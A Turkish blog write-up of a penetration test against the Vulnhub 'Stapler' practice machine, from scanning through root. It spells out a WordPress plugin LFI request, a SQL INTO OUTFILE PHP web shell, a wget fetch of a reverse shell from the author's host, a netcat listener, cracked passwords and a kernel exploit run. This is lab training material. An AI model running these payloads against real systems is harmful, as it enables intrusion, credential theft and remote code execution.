Vulnhub Stapler – Writeup

Stapler isimli zafiyetli makine için root olmamız isteniyor. Makineyi indirmek için;

Makineyi indirip sanal makineye attım. Artık teste başlayalım.

Öncelikle makinenin IP adresini belirlemem gerekiyordu. Bulunduğum ağdaki IP aralığındaki makineleri tespit ettim.

  • nbtscan 192.168.1.0/24

ekran-resmi-2017-02-20-17-18-49

Sızmak istediğim makine IP adresi 192.168.1.53 olarak buluyorum. Makineye  bir nmap taraması gerçekleştirip hangi portları açık onlara bakalım.

  • nmap  -sS -sV 192.168.1.53 -Pn -n -p-

jjj

Makine de 21 /ftp, 22/ ssh, 53/ domain, 80/ http, 139 / netbios-ssn, 666/doom, 3306/mysql, 12380/http portlarının açık halde olduğu ortaya çıktı.

Öncelikle http/80 portu açık olduğu için browser üzerinden buraya bakalım neler bulacağız. Buradan birşey çıkmıyor bir hata sayfası varmış.

ekran-resmi-2017-02-20-11-26-18

O zaman bir de 12380 portuna bakalım. Biraz bunu kurcalayayım diyerek browser üzerinde baktığımda bir web sayfası açıldı. 

ekran-resmi-2017-02-17-20-56-38

Sayfayı kurcaladığımda birşeyler bulamadığımı fark ettim ve bu temayı araştırarak wordpress bir tema olduğunu buldum.

ekran-resmi-2017-02-17-20-57-14

Bu web sayfası üzerinden giderek veri elde edebileceğimi düşünerek zafiyet aramaya başladım. Öncelikle işimi biraz kolaylaştırması amacıyla nikto aracından faydalandım.

    • nikto -h 192.168.1.53
      • Bu parametre ile aşağıdaki gibi bir çıktı verdi. /.bashrc ve /.profile dosyalarını indirdim ama içinden birşeyler çıkmadığını gördüm.

ekran-resmi-2017-02-17-21-00-34

    • nikto -h 192.168.1.53 -p 12380
      • -p parametresi ile port belirterek bir tarama gerçekleştirdiğimde ise aşağıdaki gibi bir çıktı verdi.

ekran-resmi-2017-02-17-21-01-19ekran-resmi-2017-02-17-21-16-20

Tarama sonucunda;

    • Server: Apache/2.4.18 (Ubuntu)
    • /blogblog , /admin112233 ve /phpmyadmin dizinlerini bulmuş oldum.

Bu dizinlerin varlığını kontrol etmeye kalktığımda,

    • 192.168.1.53:12380/blogblog sayfasını görüntülemek istiyorum ama  192.168.1.53:12380 sayfasında kalıyor. Diğer dizinlerde de aynı şekilde olduğunu fark edince burada bir istek hatası olduğunu düşündüm.

***NOT: Buradaki önemli nokta  https:// ile istek atmam gerektiğiydi.

    • https://192.168.1.53:12380/blogblog  sayfasını görüntülemek istediğimde güvenli olduğunu belirterek açtım. İşte buuu!! Artık dizinler görüntülenebiliyooor.

ekran-resmi-2017-02-17-20-57-42Sayfaları biraz kurcalamaya başladım. Sonra bu web sayfasının wordpress olduğunu öğrendiğim için WPSCAN yardımıyla zafiyet taraması gerçekleştirdim.

  • wpscan https://192.168.1.53:12380/blogblog 
    • wpscan ile  dizine bu şekilde tarama gerçekleştirebileceğimiz gibi daha specific sonuçlar elde etmek için enumarate parametreleri ekleyebiliriz.
    • u ile tüm kullanıcıları 
    • vp ile zafiyetli pluginleri
    • ap ile tüm pluginleri listeleyecek şekilde sonuç verecektir.

ekran-resmi-2017-02-17-21-02-50

ekran-resmi-2017-02-17-21-04-01

  • wpscan https://192.168.1.53:12380/blogblog   —enumerate u
    • Elde ettiğim wordpress kullanıcıları:
      • John, elly, peter, barry, heater, garry, harry, scott, kathy, tim

ekran-resmi-2017-02-17-21-04-29

ekran-resmi-2017-02-17-21-04-39

  • wpscan https://192.168.1.53:12380/blogblog   —enumerate vp
    • Akismet  eklentisinde versiyon 2.5.0-3.1.4 arasında  Stored XSS  zafiyeti olduğunu ve 3.1.5 ile kapatıldığını söylüyordu. 

vppp

ekran-resmi-2017-02-20-11-49-32

  • wpscan https://192.168.1.53:12380/blogblog   —enumerate ap
    • Tüm eklentileri aradığımızda 4 tane eklenti kurulu olduğunu gördüm. Bunlar;
      • Advanced-video-embed-embed-videos-or-playlist – v1.0
      • Akismet
      • shortcode-ui -v0.6.2
      • two-factor
    • Bu eklentilerde  zafiyet olup olmadığını araştırdığımda kurulu olan Advanced Video 1.0 versiyonunda LFI (Local File Inclusion) zafiyeti olduğunu buldum.Exploit-DB Link : https://www.exploit-db.com/exploits/39646
    • https://192.168.1.53:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlist/

ekran-resmi-2017-02-17-21-22-44

ekran-resmi-2017-02-17-21-25-40

Wpscan taramasında Advanced Video  v1.0 eklentisi için exploit-db de yayınlanan zafiyetin bulunduğu adres üzerinden LFI deneyeyim diye düşündüm.

  • http://192.168.1.53:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php  
    • wp-config.php okumak için her istek attığımda /blogblog/ dizini altına yeni bir post attığını ve bu postlarda ismi random sayılardan oluşan bir jpeg dosyası olduğunu fark ettim.

ekran-resmi-2017-02-20-17-06-22

  • https://192.168.1.53:12380/blogblog/wp-content/uploads/ 
    • Bu jpeg dosyalarının/uploads/ dizini altında her istekle arttığını fark ettim.

ekran-resmi-2017-02-20-12-18-11

Bu farklı boyuttaki jpeg dosyalarını kendi makineme indirip bir inceleyeyim diye düşündüm.

  • curl -k https://192.168.1.53:12380/blogblog/wp-content/uploads/1388800993.jpeg > resimmi.jpeg 
    • Dosyayı indirerek yeni bir resim dosyasına attım.

ekran-resmi-2017-02-20-12-18-31

  • file resimmi.jpeg
    • Dosyanın aslında bir PHP dosyası olduğu gördüm.

ekran-resmi-2017-02-20-12-18-44

  • cat resimmi.jpeg 
    • Dosyayı okuduğumda aslında wp-config.php dosyası olduğunu gördüm. Database bağlantısı gerçekleşiyor ayrıca içerisinde kullanıcı adı ve şifre bulunuyordu.

ekran-resmi-2017-02-20-12-19-00 ekran-resmi-2017-02-20-12-19-14

Şimdi phpmyadmin e   giriş yapabilirim.

  • https://192.168.1.53:12380/phpmyadmin
    • kullanıcı adı: root
    • şifre : plbkac
  • Terminal üzerinden  de mysql bağlantısı gerçekleştirerek veritabanlarına ulaşabiliyorum.
    • mysql -u root -p -h 192.168.1.53
    • show databases;

ekran-resmi-2017-02-18-21-24-37

  • use wordpress
  • show tables;

ekran-resmi-2017-02-18-21-24-53

  • select * from wp_users;
    • WordPress kullanıcıları ve şifreleri hash halinde elde ettim.

ekran-resmi-2017-02-18-21-25-35

  • Hash olarak elde ettiğim parolaları bir text dosyasına kaydediyorum ve John the Ripper aracı ile parolaları kırmaya çalışıyorum. Bulduğum parolalar;
  • john parola.txt
    • football
    • monkey
    • cookie
    • TOM
    • thumb
    • coolgil
  • Daha sonra [kullanıcıadı:parolahash] şeklinde  dosyada düzenleme yapıp rockyou.txt wordlist vererek kırmaya başlıyorum(işlem saatlerce sürüyor). Sonuçta bulduğu parolaları kullanıcı adlarına göre veriyor.
  • John —wordlist=/usr/share/wordlists/rockyou.txt  parola.txt
    • washere      (barry)
    • incorrect     (john)
    • 0520        (pam)
    • passphrase    (heather)
    • damachine   (dave)
    • partyqueen  (zoe)

Bu kullanıcı adları ssh veya ftp bağlantısı gerçekleştirmek istediğimde kullanılabilir diye tek tek hepsini denedim fakat hiçbirisi ile başarılı bağlantı gerçekleştiremedim.

LFI zafiyeti bulunan adreste /etc/passwd dosyasınını da okumaya çalıştım. Ama hata ile karşılaştım.İşte bu güzel çünkü dizin yapısı geldi.

ekran-resmi-2017-02-19-14-31-25../../../../../../../../../etc/passwd dizinine gitmek istediğimde ise dizin hatasının ortadan kalkıyor ve yine bir post linkini veriyor.

ekran-resmi-2017-02-20-13-01-55

/etc/passwd dosya okuması için attığım her istek sonucunda https://192.168.1.53:12380/blogblog  sayfasında yine yeni bir post yayınlandı. 

ekran-resmi-2017-02-19-14-31-58

  • /blogblog/wp-content/uploads/ içerisinde postlar için atanan jpeg dosyalarından son oluşturulanı indirip inceleyeceğim.

ekran-resmi-2017-02-19-14-32-10

  • curl -k https://192.168.1.53:12380/blogblog/wp-content/uploads/160095933.jpeg > s.jpeg
  • cat s.jpeg

ekran-resmi-2017-02-19-14-33-16

Böylece /etc/passwd dosyasını görüntülemiş olduk.

Şimdi phpmyadmin de root olarak giriş yapabiliyorum. O zaman phpmyadmin yoluyla makineye bir shell.php dosyası yüklemeyi deneyebilirim.

Öncelikle Pentest Monkey Shell dosyası indiriyorum.

ekran-resmi-2017-02-20-00-38-45

  • Daha sonra SQL tarafında select “<? System($_REQUEST[‘cmd’]); ?>”  INTO OUTFILE ‘/var/www/https/blogblog/uploads/shell.php sorgusunu çalıştırıyorum. Böylece /uploads/altına shell.php dosyası oluşturuyor.

ekran-resmi-2017-02-20-14-46-52

  • Yüklenen bu dosya sayesinde wget komutunu kullanarak pentest monkey shell dosyasını kendi makinemden /uploads/ dizinine indiriyorum.
    • https://192.168.1.53:12380/blogblog/wp-content/uploads/shell.php?cmd= wget 192.168.1.38:9090/meryem2.php

Netcat yardımıyla portu dinliyorum ve browser da meryem2.php shell dosyasına tıklayınca terminalde shell e düştüm.

  • nc -lvp 1337 
    • l: dinleme modu
    • v: bilgi verme modu
    • p: port bilgisi

ekran-resmi-2017-02-19-23-30-13

  • Interactive shell almak için;
    • python -c ‘import pty;pty.spawn(“/bin/bash”)’
  • Kullanıcı yetkisini öğrenmek için;
    • $id 

ekran-resmi-2017-02-20-15-16-56

YETKİ YÜKSELTME 

/home dizinine geçip tüm kullanıcıların /.bash_history dosyasını okuyabilirim.

ekran-resmi-2017-02-20-16-19-20

  • cat  */.bash_history
    • /.bash_history okuduğumda peter ve JKanode kullanıcılarının ssh bağlantısı yaptığını ve parolalarını buldum.
      • sshpass -p thismypassword ssh JKanode@localhost
      • sshpass -p JZQuyIN5 peter@localhost

ekran-resmi-2017-02-20-16-11-29

O zaman örnek olarak peter kullanıcısı için ssh bağlantısı gerçekleştirmeye çalışıyorum. Parola doğru ve giriş yapabildim.

ekran-resmi-2017-02-19-23-00-23

  • id ile kullanıcının yetkisine bakıyorum.

ekran-resmi-2017-02-19-23-00-33

ekran-resmi-2017-02-19-23-00-50

sudo -i ile peter kullanıcısına root yetkisi verdiriyorum. Peter için aynı parolayı giriyorum ve artık root yetkilerine sahibim.

ekran-resmi-2017-02-19-23-01-03

ls -la ile bakıyorum şimdi burada neler neler varmış. Bir flag.txt dosyası dikkatimi çekiyor.

ekran-resmi-2017-02-20-16-27-19

cat flag.txt ile okuduğumda —–(:::Congratulations:::)—– flag karşımda :)

ekran-resmi-2017-02-19-23-01-25

 

Yetki yükseltmek için başka bir yöntem de deneyebiliriz. Makineye shell attığımda kernel bilgilerini veriyordu.

ekran-resmi-2017-02-19-23-30-13

Ama yine de biz bunu farklı yöntemlerle de öğrenebiliriz.

  • uname -a 
  • lsb_release -a

ekran-resmi-2017-02-20-16-36-43

Linux Kernel 4.4.0.21 araştırdığımda exploit-db de zafiyetinin yayınlandığını gördüm.

  • Exploit-DB Linki:  https://www.exploit-db.com/exploits/39772/

Zafiyeti exploit edebileceğimiz script ise burada yer alıyor.

  • cd tmp
    • /tmp dizininin altına gidiyoruz.
  • wget 192.168.1.36:9090/exploit.tar
    • Kendi makineme indirdiğim exploit.tar dosyasını buraya çekiyorum.
  • tar -xf exploit.tar 
    • Sıkıştırılmış klasörü çıkartıyorum.

ekran-resmi-2017-02-19-23-30-30

ebpf_mapfd_doubleput_exploit  isimli bir klasör çıktı. Klasör içine giriyorum. Önce ./compile.sh dosyasını çalıştırıyorum.

ekran-resmi-2017-02-19-23-30-57

Sonra ./doubleput dosyasını çalıştırıyorum. Ve artık root yetkilerine sahibim.

ekran-resmi-2017-02-19-23-31-23

  • cd root
    • root dizini altına gidiyorum ve dizinde bulunan dosya ve klasörleri listeliyorum.
  • cat flag.txt
    • flag.txt dosyası dikkatimizi çekiyor ve açtığımda yine flag karşımda :)

ekran-resmi-2017-02-19-23-31-49

1,243 total views, 1 views today

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir